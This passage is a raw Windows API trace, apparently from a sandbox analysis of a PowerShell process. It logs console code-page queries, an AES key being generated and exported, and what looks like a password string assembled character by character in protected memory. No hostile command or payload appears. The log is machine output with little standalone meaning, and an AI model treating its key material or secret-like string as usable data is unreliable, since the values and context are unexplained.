lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0256.334] GetConsoleOutputCP () returned 0x1b5 [0256.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0256.334] GetConsoleOutputCP () returned 0x1b5 [0256.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0256.334] GetConsoleOutputCP () returned 0x1b5 [0256.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0256.335] GetConsoleOutputCP () returned 0x1b5 [0256.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0256.335] GetConsoleOutputCP () returned 0x1b5 [0256.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0256.335] GetConsoleOutputCP () returned 0x1b5 [0256.335] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0256.335] GetConsoleOutputCP () returned 0x1b5 [0256.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0256.336] GetConsoleOutputCP () returned 0x1b5 [0256.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0256.336] GetConsoleOutputCP () returned 0x1b5 [0256.336] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0256.336] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0256.336] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0256.337] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24c9350*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24c9350*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0256.337] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0256.337] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0256.338] GetConsoleOutputCP () returned 0x1b5 [0256.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0256.338] GetConsoleOutputCP () returned 0x1b5 [0256.338] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0256.338] GetConsoleOutputCP () returned 0x1b5 [0256.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0256.339] GetConsoleOutputCP () returned 0x1b5 [0256.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0256.339] GetConsoleOutputCP () returned 0x1b5 [0256.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0256.339] GetConsoleOutputCP () returned 0x1b5 [0256.339] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0256.340] GetConsoleOutputCP () returned 0x1b5 [0256.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0256.340] GetConsoleOutputCP () returned 0x1b5 [0256.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0256.340] GetConsoleOutputCP () returned 0x1b5 [0256.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0256.340] GetConsoleOutputCP () returned 0x1b5 [0256.340] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0256.340] GetConsoleOutputCP () returned 0x1b5 [0256.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0256.341] GetConsoleOutputCP () returned 0x1b5 [0256.341] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0256.341] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0256.341] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0256.342] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24c97f8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24c97f8*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0256.342] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0256.342] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0256.343] GetConsoleOutputCP () returned 0x1b5 [0256.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.343] GetConsoleOutputCP () returned 0x1b5 [0256.343] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.343] GetConsoleOutputCP () returned 0x1b5 [0256.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.344] GetConsoleOutputCP () returned 0x1b5 [0256.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.344] GetConsoleOutputCP () returned 0x1b5 [0256.344] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.344] GetConsoleOutputCP () returned 0x1b5 [0256.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.345] GetConsoleOutputCP () returned 0x1b5 [0256.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.345] GetConsoleOutputCP () returned 0x1b5 [0256.345] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.345] GetConsoleOutputCP () returned 0x1b5 [0256.346] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.346] GetConsoleOutputCP () returned 0x1b5 [0256.356] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.356] GetConsoleOutputCP () returned 0x1b5 [0256.356] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.356] GetConsoleOutputCP () returned 0x1b5 [0256.356] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.356] GetConsoleOutputCP () returned 0x1b5 [0256.357] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0256.357] GetConsoleOutputCP () returned 0x1b5 [0256.357] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0256.357] GetConsoleOutputCP () returned 0x1b5 [0256.357] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.357] GetConsoleOutputCP () returned 0x1b5 [0256.357] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0256.358] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0256.358] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0256.358] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24ca188*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24ca188*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0256.359] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0256.359] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0256.360] EtwEventActivityIdControl () returned 0x0 [0256.360] EtwEventActivityIdControl () returned 0x0 [0256.360] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.360] EtwEventActivityIdControl () returned 0x0 [0256.360] EtwEventActivityIdControl () returned 0x0 [0256.360] EtwEventActivityIdControl () returned 0x0 [0256.362] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.363] EtwEventActivityIdControl () returned 0x0 [0256.363] EtwEventActivityIdControl () returned 0x0 [0256.363] EtwEventActivityIdControl () returned 0x0 [0256.364] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cee0) returned 1 [0256.366] CryptGenKey (in: hProv=0x5c4cee0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99b60) returned 1 [0256.366] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.366] CryptExportKey (in: hKey=0x5c99b60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0256.366] CryptExportKey (in: hKey=0x5c99b60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24d1b54, pdwDataLen=0x5a2e8c4 | out: pbData=0x24d1b54*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0256.366] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.367] EtwEventActivityIdControl () returned 0x0 [0256.367] EtwEventActivityIdControl () returned 0x0 [0256.367] EtwEventActivityIdControl () returned 0x0 [0256.367] SysStringLen (param_1="") returned 0x8 [0256.368] SysStringLen (param_1="Q") returned 0x8 [0256.368] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.368] SysStringLen (param_1="콉髦꽭썒뻔㚚９") returned 0x8 [0256.368] SysStringLen (param_1="콉髦꽭썒뻔㚚９") returned 0x8 [0256.368] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.368] SysStringLen (param_1="Qh") returned 0x8 [0256.368] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.368] SysStringLen (param_1="慙矈▨쳐⸕墦荴") returned 0x8 [0256.368] SysStringLen (param_1="慙矈▨쳐⸕墦荴") returned 0x8 [0256.368] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.368] SysStringLen (param_1="QhP") returned 0x8 [0256.368] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.368] SysStringLen (param_1="պ뇣竖嶏ҋ榃죃") returned 0x8 [0256.368] SysStringLen (param_1="պ뇣竖嶏ҋ榃죃") returned 0x8 [0256.369] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.369] SysStringLen (param_1="QhPj") returned 0x8 [0256.369] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.369] SysStringLen (param_1="츃펭ྜ뻸冘년鶎纑") returned 0x8 [0256.369] SysStringLen (param_1="츃펭ྜ뻸冘년鶎纑") returned 0x8 [0256.369] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.369] SysStringLen (param_1="QhPjI") returned 0x8 [0256.369] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.369] SysStringLen (param_1="☱麃콞囿漳ક") returned 0x8 [0256.369] SysStringLen (param_1="☱麃콞囿漳ક") returned 0x8 [0256.369] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.369] SysStringLen (param_1="QhPjId") returned 0x8 [0256.369] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.370] SysStringLen (param_1="Ӧ밳隙將⿓瀒먥") returned 0x8 [0256.370] SysStringLen (param_1="Ӧ밳隙將⿓瀒먥") returned 0x8 [0256.370] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.370] SysStringLen (param_1="QhPjIds") returned 0x8 [0256.370] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.370] SysStringLen (param_1="鰫롼䜗臬棻䯮ꌋ") returned 0x8 [0256.370] SysStringLen (param_1="鰫롼䜗臬棻䯮ꌋ") returned 0x8 [0256.370] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.370] SysStringLen (param_1="QhPjIdsu") returned 0x8 [0256.370] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.370] SysStringLen (param_1="붥唂鷤哯麅颅") returned 0x8 [0256.370] SysStringLen (param_1="붥唂鷤哯麅颅") returned 0x8 [0256.371] SysStringLen (param_1="붥唂鷤哯麅颅") returned 0x8 [0256.371] SysStringLen (param_1="붥唂鷤哯麅颅") returned 0x10 [0256.371] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.371] SysStringLen (param_1="QhPjIdsuD蔰≫䠅ᘋ喾") returned 0x10 [0256.371] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.371] SysStringLen (param_1="붥唂鷤哯麅颅퐷풟疎䫘쓫᥉곂꼽") returned 0x10 [0256.371] SysStringLen (param_1="붥唂鷤哯麅颅퐷풟疎䫘쓫᥉곂꼽") returned 0x10 [0256.371] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.372] SysStringLen (param_1="QhPjIdsuDw≫䠅ᘋ喾") returned 0x10 [0256.372] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.372] SysStringLen (param_1="붥唂鷤哯麅颅、堸몗鳰洬ዚ") returned 0x10 [0256.372] SysStringLen (param_1="붥唂鷤哯麅颅、堸몗鳰洬ዚ") returned 0x10 [0256.372] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.372] SysStringLen (param_1="QhPjIdsuDw6䠅ᘋ喾") returned 0x10 [0256.372] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.372] SysStringLen (param_1="붥唂鷤哯麅颅싘璓撒矄㣄৐") returned 0x10 [0256.372] SysStringLen (param_1="붥唂鷤哯麅颅싘璓撒矄㣄৐") returned 0x10 [0256.372] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.372] SysStringLen (param_1="QhPjIdsuDw6rᘋ喾") returned 0x10 [0256.372] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.373] SysStringLen (param_1="붥唂鷤哯麅颅ꊄ缪촐＋儸༌혳὎") returned 0x10 [0256.373] SysStringLen (param_1="붥唂鷤哯麅颅ꊄ缪촐＋儸༌혳὎") returned 0x10 [0256.373] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.373] SysStringLen (param_1="QhPjIdsuDw6rM喾") returned 0x10 [0256.373] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.373] SysStringLen (param_1="붥唂鷤哯麅颅妆㳄植❠潈ꔥ") returned 0x10 [0256.373] SysStringLen (param_1="붥唂鷤哯麅颅妆㳄植❠潈ꔥ") returned 0x10 [0256.373] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.373] SysStringLen (param_1="QhPjIdsuDw6rMT喾") returned 0x10 [0256.373] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.373] SysStringLen (param_1="붥唂鷤哯麅颅懢\跞玹ⲗ甆귕≙) returned 0x10 [0256.373] SysStringLen (param_1="붥唂鷤哯麅颅懢\跞玹ⲗ甆귕≙) returned 0x10 [0256.373] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.374] SysStringLen (param_1="QhPjIdsuDw6rMT8喾") returned 0x10 [0256.374] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.374] SysStringLen (param_1="붥唂鷤哯麅颅祣\x88⌓蠕ᢣ\࿜⊴) returned 0x10 [0256.374] SysStringLen (param_1="붥唂鷤哯麅颅祣\x88⌓蠕ᢣ\࿜⊴) returned 0x10 [0256.374] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.374] SysStringLen (param_1="QhPjIdsuDw6rMT8P") returned 0x10 [0256.374] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.374] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ") returned 0x10 [0256.374] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ") returned 0x10 [0256.374] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ") returned 0x10 [0256.375] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ") returned 0x18 [0256.375] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.375] SysStringLen (param_1="QhPjIdsuDw6rMT8Pb갋鉏灒㺒긭ẇ椔") returned 0x18 [0256.375] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.375] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯꁽ堣㔶Ꝫಞ윹ഁ輸") returned 0x18 [0256.375] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯꁽ堣㔶Ꝫಞ윹ഁ輸") returned 0x18 [0256.375] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.376] SysStringLen (param_1="QhPjIdsuDw6rMT8PbH鉏灒㺒긭ẇ椔") returned 0x18 [0256.376] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.376] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯᔞ㽦안㧥뷵둄") returned 0x18 [0256.376] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯᔞ㽦안㧥뷵둄") returned 0x18 [0256.376] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.376] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHE灒㺒긭ẇ椔") returned 0x18 [0256.376] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.376] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ宿缳瑓ǭ\ෙṝ∗) returned 0x18 [0256.376] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ宿缳瑓ǭ\ෙṝ∗) returned 0x18 [0256.376] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.376] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEP㺒긭ẇ椔") returned 0x18 [0256.376] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.376] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ䑭뢸펏࿒峗⾾퍒夽") returned 0x18 [0256.376] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ䑭뢸펏࿒峗⾾퍒夽") returned 0x18 [0256.377] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.377] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPO긭ẇ椔") returned 0x18 [0256.377] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.377] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ뫘탍ڟ쮭䈐椗湕") returned 0x18 [0256.377] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ뫘탍ڟ쮭䈐椗湕") returned 0x18 [0256.377] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.377] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOeẇ椔") returned 0x18 [0256.377] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.377] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ㪫蛿ꔀ礞悴ͻ觎") returned 0x18 [0256.377] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ㪫蛿ꔀ礞悴ͻ觎") returned 0x18 [0256.377] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.377] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOes椔") returned 0x18 [0256.377] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.378] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ꓌⩾껴༤鰑\♗≂) returned 0x18 [0256.378] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ꓌⩾껴༤鰑\♗≂) returned 0x18 [0256.378] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.378] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesE") returned 0x18 [0256.378] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.378] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ") returned 0x18 [0256.378] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ") returned 0x18 [0256.378] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ") returned 0x18 [0256.379] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ") returned 0x20 [0256.379] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.379] SysStringLen (param_1="QhPjIdsuDw6rMT8PbHEPOesEl笅῱褱綹ᛐ﵆") returned 0x20 [0256.379] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.379] SysStringLen (param_1="붥唂鷤哯麅颅٬钞쪜땽ᡒ淴ꐯ겂䎐鞰ꔿ˞쯆斣ぽ䂶ᚪ껅먔롑얚⌚䷍") returned 0x20 [0256.379] SysStringLen 